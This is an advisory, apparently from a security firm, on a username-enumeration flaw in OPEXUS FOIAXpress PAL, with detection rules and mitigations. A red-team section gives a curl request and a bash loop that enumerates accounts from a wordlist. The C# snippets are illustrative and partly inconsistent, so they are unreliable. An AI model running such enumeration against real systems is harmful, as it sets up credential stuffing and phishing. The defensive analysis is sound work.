CVE-2025-54834

Executive Summary

CVE-2025-54834 is an information disclosure vulnerability in OPEXUS FOIAXpress Public Access Link (PAL) version v11.1.0. An unauthenticated, remote attacker can query the /App/CreateRequest.aspx endpoint to enumerate valid usernames. The vulnerability stems from the application returning distinct responses for valid versus invalid usernames, with no rate-limiting mechanisms in place. This allows attackers to build a list of valid accounts for further targeted attacks, such as credential stuffing or phishing. The CVSS score is 5.3 (Medium), and no patch is currently available.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): None (N) – No user action required.
• Scope (S): Unchanged (U) – Impact confined to the vulnerable component.
• Confidentiality (C): Low (L) – Limited information disclosure (usernames).
• Integrity (I): None (N) – No data modification.
• Availability (A): None (N) – No denial of service.

Threat Level: Medium. While the direct impact is limited to username enumeration, this information can be leveraged in subsequent attacks, increasing the overall risk.

Deep Dive & Mechanics

The vulnerability exists in the /App/CreateRequest.aspx endpoint of the OPEXUS FOIAXpress PAL application. When an unauthenticated user submits a request to this endpoint with a username parameter, the application responds differently based on whether the username exists in the system.

Mechanism:

1. The attacker sends a POST or GET request to /App/CreateRequest.aspx with a username parameter.
2. The application queries the backend database to check if the username exists.
3. If the username exists, the application returns a response indicating success or a specific error message (e.g., "User already exists" or a redirect to a different page).
4. If the username does not exist, the application returns a generic error or a different HTTP status code.

Root Cause: The application does not implement rate limiting or generic error messages for username validation. This allows an attacker to brute-force usernames without being blocked.

Attack Scenario:

1. Attacker identifies the target OPEXUS FOIAXpress PAL instance.
2. Attacker uses a wordlist of common usernames or employee names.
3. Attacker sends requests to /App/CreateRequest.aspx with each username.
4. Attacker analyzes responses to identify valid usernames.
5. Attacker uses valid usernames for credential stuffing, phishing, or other attacks.

Vulnerable vs. Patched Code

Vulnerable Code (v11.1.0):

// Example vulnerable code snippet
protected void Page_Load(object sender, EventArgs e)
{
    string username = Request.QueryString["username"];
    if (!string.IsNullOrEmpty(username))
    {
        if (UserExists(username))
        {
            Response.Write("User already exists");
        }
        else
        {
            Response.Write("Invalid username");
        }
    }
}

Patched Code (Hypothetical):

// Example patched code snippet
protected void Page_Load(object sender, EventArgs e)
{
    string username = Request.QueryString["username"];
    if (!string.IsNullOrEmpty(username))
    {
        // Generic response regardless of user existence
        Response.Write("Request submitted. Check your email for further instructions.");
        // Implement rate limiting
        if (IsRateLimited(Request.UserHostAddress))
        {
            Response.StatusCode = 429;
            Response.Write("Too many requests. Please try again later.");
            return;
        }
        // Log the attempt for monitoring
        LogAttempt(Request.UserHostAddress, username);
    }
}

Exploitation & Lab Setup

Red Team

Lab Setup:

1. Deploy a vulnerable instance of OPEXUS FOIAXpress PAL v11.1.0 in a controlled environment.
2. Create a list of test usernames (e.g., admin, user1, john.doe).

Exploitation Steps:

1. Use curl to test username enumeration:

   curl -X GET "http://target/App/CreateRequest.aspx?username=admin"
   

2. Automate enumeration with a script:

   #!/bin/bash
   for user in $(cat usernames.txt); do
       response=$(curl -s -o /dev/null -w "%{http_code}" "http://target/App/CreateRequest.aspx?username=$user")
       if [ "$response" == "200" ]; then
           echo "Valid user: $user"
       fi
   done
   

3. Use Burp Suite Intruder to brute-force usernames with a wordlist.

Blue Team

Detection Steps:

1. Monitor for multiple requests to /App/CreateRequest.aspx from the same IP address.
2. Look for patterns of sequential username attempts.
3. Alert on high volumes of 200 OK responses from this endpoint.

Mitigation Steps:

1. Implement rate limiting on the endpoint.
2. Return generic error messages regardless of username validity.
3. Use CAPTCHA or other challenge-response mechanisms.
4. Log and alert on suspicious activity.

Indicators of Compromise (IOCs)

• Network IOCs:

  • Multiple HTTP requests to /App/CreateRequest.aspx with varying username parameters.
  • High volume of requests from a single IP address.
  • User-agent strings indicating automated tools (e.g., curl, python-requests, Burp Suite).

• Host IOCs:

  • Web server logs showing repeated 200 OK responses for /App/CreateRequest.aspx.
  • Application logs showing failed login attempts following username enumeration.

• File IOCs:

  • Wordlists or scripts used for username enumeration (e.g., usernames.txt, enum.sh).

Detection Engineering

YARA Rule

rule CVE_2025_54834_Username_Enumeration {
    meta:
        description = "Detects attempts to exploit CVE-2025-54834 for username enumeration"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2025-54834"
    strings:
        $s1 = "/App/CreateRequest.aspx" ascii wide nocase
        $s2 = "username=" ascii wide nocase
    condition:
        all of them
}

Sigma Rule

title: CVE-2025-54834 Username Enumeration Attempt
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects multiple requests to /App/CreateRequest.aspx with different username parameters
author: Valters IT
date: 2025/04/10
logsource:
    category: webserver
    product: iis
detection:
    selection:
        cs-uri-stem: '/App/CreateRequest.aspx'
        cs-uri-query|contains: 'username='
    condition: selection
    timeframe: 5m
    aggregation:
        field: c-ip
        condition: gt 10
falsepositives:
    - Legitimate user registration attempts
level: medium

Suricata Rule

alert http $EXTERNAL_NET any -> $HOME_NET any (
    msg:"CVE-2025-54834 - OPEXUS FOIAXpress PAL Username Enumeration";
    flow:to_server,established;
    content:"/App/CreateRequest.aspx"; http_uri;
    content:"username="; http_uri;
    threshold: type both, track by_src, count 10, seconds 300;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

1. Implement Rate Limiting: Configure the web server (e.g., IIS) to limit requests to /App/CreateRequest.aspx per IP address.
2. Generic Error Messages: Modify the application to return the same response for both valid and invalid usernames.
3. CAPTCHA: Add a CAPTCHA challenge to the endpoint to prevent automated requests.

Long-Term Fixes:

1. Patch Application: Apply any official patches from OPEXUS when available.
2. Code Review: Conduct a security review of the application to identify similar vulnerabilities.
3. Web Application Firewall (WAF): Deploy a WAF with rules to block username enumeration patterns.

Workarounds:

• Disable the /App/CreateRequest.aspx endpoint if not required.
• Restrict access to the endpoint via IP whitelisting.

Report generated by Valters IT DevSecOps & CTI Division